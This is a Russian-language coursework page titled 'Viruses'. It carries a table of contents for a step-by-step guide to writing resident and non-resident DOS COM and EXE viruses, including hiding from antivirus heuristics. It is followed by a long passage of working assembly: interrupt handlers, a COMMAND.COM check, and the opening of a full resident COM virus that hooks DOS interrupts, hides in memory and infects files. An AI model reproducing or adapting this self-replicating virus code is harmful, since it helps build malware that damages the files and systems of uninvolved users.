Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    new_2fh:   pushf

               cmp ax,0f000h

       jne cs:not_our

       cmp bx,1997h

       jne cs:not_our

       mov al,0ffh

       popf

               iret

 

    not_our:   popf

               db 0eah

    old_2fh    dw 0

    old_2fh_2  dw 0

 

    Если вызывается прерывание Int 2Fh с параметрами,

    отличными от  AX = 0F000h и BX = 01997h,  вирусный

    обработчик просто возвращает  управление  системно-

    му . В противном случае  управление передается пре-

    рванной программе,  причем  в этом случае AL будет

    равно 0FFh.

 

 

                 2.21 Обработчик Int 28h

 

    Строго говоря, мы его   уже написали ( см. п. 2.5 ,

    п. 2.6 и т.д. ).Именно он  занимается поиском и за-

    ражением файлов,пользуясь  для этого функциями DOS.

    Но так как эти функции используются  тогда,  когда

    активно прерывание Int 28h, ничего страшного  про-

    изойти не должно .

 

 

               2.22 Область данных вируса

 

    Теперь  мы можем   привести все данные,  с которыми

    работает наш вирус  :

 

    ;/***********************************************/

 

    ;Data area

 

    old_bytes   db   0e9h             ;Исходные три

                dw   vir_len + 0dh    ;байта ...

 

    dta_save    db   128 dup (0)      ;Массив  для DTA

 

    maska       db   '*.com',0       ;Маска для поис-

                                      ;ка ...

 

    fn          db   12 dup (' '),0   ;Место для  имени

                                      ;файла

 

    new_bytes   db   0e9h             ;Код команды

                                      ;" JMP ..."

                db   00h              ;HIGH

                db   00h              ;LOW

                                      ;Он записывается

                                      ;в файл вместо

                                      ;первых трех

                                      ;байт ...

 

    end_file    db   0ebh             ;Первые два бай-

                db   push_len         ;та вируса в

                                      ;файле (команда

                                      ;перехода на се-

                                      ;кцию инициали-

                                      ;зации ...

 

    ss_save     dw   0                ;Буфера для SS

    sp_save     dw   0                ;и SP ...

 

    help_word   dw   0                ;Промежуточная

                                      ;ячейка .

 

    com_com     db   'COMMAND'        ;Имя командного

                                      ;процессора ...

 

    inside      db   0                ;Ячейка - инди-

                                      ;катор ...

 

    last        db   0                ;Последний байт

 

    to_newstack equ  $ - vir          ;Смещение к сте-

                                      ;ку ...

    newstack    dw   70 dup ( 0 )     ;Новый стек ...

 

 

         2.23 Процедура  идентификации COMMAND.COM

 

    Приведем  текст процедуры,  которой пользуется  наш

    вирус. Эта процедура  проверяет,является - ли  най-

    денный нами файл командным  процессором COMMAND.COM

    и возвращает INSIDE = 1,  если был  найден  именно

    командный процессор .

    Итак :

 

    ;-------------------------------------------------

 

    search     proc                   ;Процедура

               push ax                ;сравнивает

               push cx                ;строки ...

               mov inside,1

               lea di,fn

               lea si,com_com

               mov cx,7

    new_cmp:   mov al,byte ptr ds:[si]

               cmp byte ptr ds:[di],al

               jne cs:not_equal

               inc di

               inc si

               loop cs:new_cmp

               jmp cs:to_ret

    not_equal: mov inside,0

    to_ret:    pop cx

               pop ax

               ret

    search     endp

 

    Работа процедуры достаточно  ясна и  в комментариях

    не нуждается .

 

 

                 2.24 Завершаем программу

 

    В принципе, завершить  эту программу можно так же,

    как и предыдущую :

 

                db   '1'              ;Последний байт

                                      ;вируса в файле

    vir_len     equ  $-vir            ;Длина вируса в

                                      ;байтах ...

    vir_par     equ  ( $-vir + 0fh ) / 16

                                      ;И в параграфах

 

    prg_end:   mov ax,4c00h           ;Выход в DOS

               INT 21H                ;только для за-

                                      ;пускающей прог-

                                      ;раммы ...

 

        db '1'                ;И ее последний

                                      ;байт ...

 

    prg ends                          ;Стандартное

    end start                         ;" окончание "

                                      ;ASM - программы

 

    Единственное отличие   заключается  в том,  что  по-

    требовалось ввести константу  " vir_par ".Она нужна

    для расчета необходимой  длины блока памяти при ин-

    сталляции вируса и  в некоторых других вычислениях.

 

 

           2.25 Текст резидентного COM - вируса

 

    Теперь  мы можем привести полный текст  резидентной

    программы  - вируса :

 

    ; _______________________________________________

    ;|                                               |

    ;| COM TSR virus                                 |

    ;| Especially for my readers                     |

    ;|_______________________________________________|

 

    prg segment

       assume cs:prg,ds:prg,es:prg,ss:prg

          org 100h

 

    start:     jmp vir

 

       org 110h

                              ;С метки " vir "

                                      ;фактически на-

                                      ;чинается обра-

                                      ;ботчик Int 28h

 

    vir:       db 0ebh                ;90h - Для рези-

               db push_len            ;90h   дентной

                                      ;      работы .

 

               pushf

               cmp cs:tg_infect-110h,1;Активизиро-

                                      ;ваться ?

               je cs:vir_2            ;Да ...

               call dword ptr cs:old_28h - 110h

                                      ;Нет - вызовем

                                      ;старый обработ-

                                      ;чик INT 28h,

                                      ;чтобы не топить

                                      ;другие TSR ...

               iret

 

    vir_2:     popf                   ;Переключаем

                                      ;стек для TSR -

                                      ;исполнения на

               mov cs:ss_save-110h,ss ;себя ...

              mov cs:sp_save-110h,sp

               mov cs:help_word - 110h,cs

               mov ss,cs:help_word - 110h

               mov sp,to_newstack + 136

               mov cs:tg_infect - 110h,0

               pushf                  ;Вызываем старый

               db 9ah                 ;обработчик

    old_28h    dw 0                   ;INT 28h ...

    old_28h_2  dw 0

               pushf                  ;Сохраним в сте-

               push ax                ;ке регистры ...

               push bx

              push cx

               push dx

               push si

               push di

               push bp

               push ds

               push es

               jmp cs:infect          ;Перейти к зара-

                                      ;жению файлов

               push_len equ $-vir - 2

 

               mov ax,ds              ;Корректируем DS

                                      ;для нерезидент-

                                      ;ной работы ...

               db 05h                 ;Код команды

    add_to_ds: dw 0                   ;" ADD AX,00h "

       mov ds,ax

 

               mov ax,0f000h          ;Проверим, есть

               mov bx,1997h           ;вирус в памяти,

               int 2fh                ;или еще нет ...

               jc fresh_bytes

 

               cmp al,0ffh

              jne free_mem           ;Нет -

                                      ;устанавливаем

 

    fresh_bytes:                      ;Восстанавливаем

       mov al,old_bytes       ;первые три бай-

                                      ;та зараженной

       mov cs:[100h],al       ;программы ...

       mov al,old_bytes+1

       mov cs:[101h],al

       mov al,old_bytes+2

       mov cs:[102h],al

               mov ax,cs              ;Восстанавливаем

                                      ;сегментные

               mov es,ax              ;регистры ...

               mov start_cs,ax

               mov ds,ax

               jmp cl_conv_1          ;Передаем управ-

    cl_conv_1: db 0eah                ;ление заражен-

               dw 100h                ;ной программе

    start_cs   dw 0

 

    free_mem:  mov ah,4ah             ;Определим объем

                                      ;доступной памя-

                                      ;ти ...

               mov bx,0ffffh          ;Заведомо невоз-

               int 21h                ;можное значение

                                      ;(0ffffh) !

 

    ; _______________________________________________

    ;| Закажем свободный  блок памяти,чтобы можно было|

    ;| записать в него резидентную часть вируса ...  |

    ;|_______________________________________________|

 

               sub bx,vir_par + 2     ;Оставим вирусу

                                      ;на 2 параграфа

                                      ;больше, чем

                                      ;он сам занимает

               mov ah,4ah             ;А остальная па-

               int 21h                ;мять будет

               jc fresh_bytes         ;занята ...

 

               mov ah,48h             ;Попросим DOS

                                      ;отдать свобод-

                                      ;ный блок нам .

               mov bx,vir_par + 1     ;Запас в  один

               int 21h                ;параграф ...

               jc fresh_bytes

 

    ; _______________________________________________

    ;| Теперь  свободный блок памяти найден           |

    ;| ( сегментный  адрес в AX ), и                  |

    ;| нужно  записать в него код вируса ...          |

    ;|_______________________________________________|

 

               xor di,di              ;Делаем вирус

               mov bx,ax              ;"невидимым" в

               dec bx                 ;памяти ...

               mov word ptr cs:[2],bx

               mov es,bx

               mov bx,0070h

               mov es:[di+1],bx

 

               mov es,di              ;Получаем векто-

                                      ;ра прерываний

               cli

               mov di,084h            ;Int 21h ...

               mov bx,es:[di]

               mov old_21h,bx

               mov bx,es:[di+2]

               mov old_21h_2,bx

 

               mov di,0bch            ;Int 2fh ...

               mov bx,es:[di]

               mov old_2fh,bx

               mov bx,es:[di+2]

               mov old_2fh_2,bx

 

               mov di,04ch            ;Int 13h ...

               mov bx,es:[di]

               mov old_13h,bx

               mov bx,es:[di+2]

               mov old_13h_2,bx

 

               mov di,0a0h            ;Int 28h ...

               mov bx,es:[di]

               mov old_28h,bx

               mov bx,es:[di+2]

               mov old_28h_2,bx

               sti

 

               mov word ptr vir,9090h ;Подготавливаем

               mov tg_infect,0        ;вирус  к рези-

                                      ;дентной работе

 

               mov es,ax              ;И копируем его

               xor di,di              ;в память...

               mov cx,vir_len

    prg_copy:  mov bl,byte ptr vir[di]

               mov byte ptr es:[di],bl

               inc di

               loop prg_copy

 

               xor bx,bx              ;Устанавливаем

                                      ;вектора преры-

       mov es,bx              ;ваний на вирус-

               cli                    ;ные обработчики

               mov di,084h

               mov word ptr es:[di],to_new_21h

               mov es:[di+2],ax       ; Int 21h

 

               mov di,0bch

               mov word ptr es:[di],to_new_2fh

               mov es:[di+2],ax       ; Int 2fh

 

       mov di,04ch

               mov word ptr es:[di],to_new_13h

               mov es:[di+2],ax       ; Int 13h

 

       mov di,0a0h

               mov word ptr es:[di],0

               mov es:[di+2],ax       ; Int 28h

               sti

 

               jmp fresh_bytes        ;Установка

                                      ;завершена ...

 

    infect:    push cs

               pop ds

 

               mov ax,ds              ;TSR - коррекция

               sub ax,11h             ;DS ...

               mov ds,ax

 

               cmp tg_13h,0           ;INT 13h

                                      ;выполняется ?

               je cs:all_right        ;Нет ...

               jmp cs:exit_zarasa     ;Да - на выход

Информация о работе Вирусы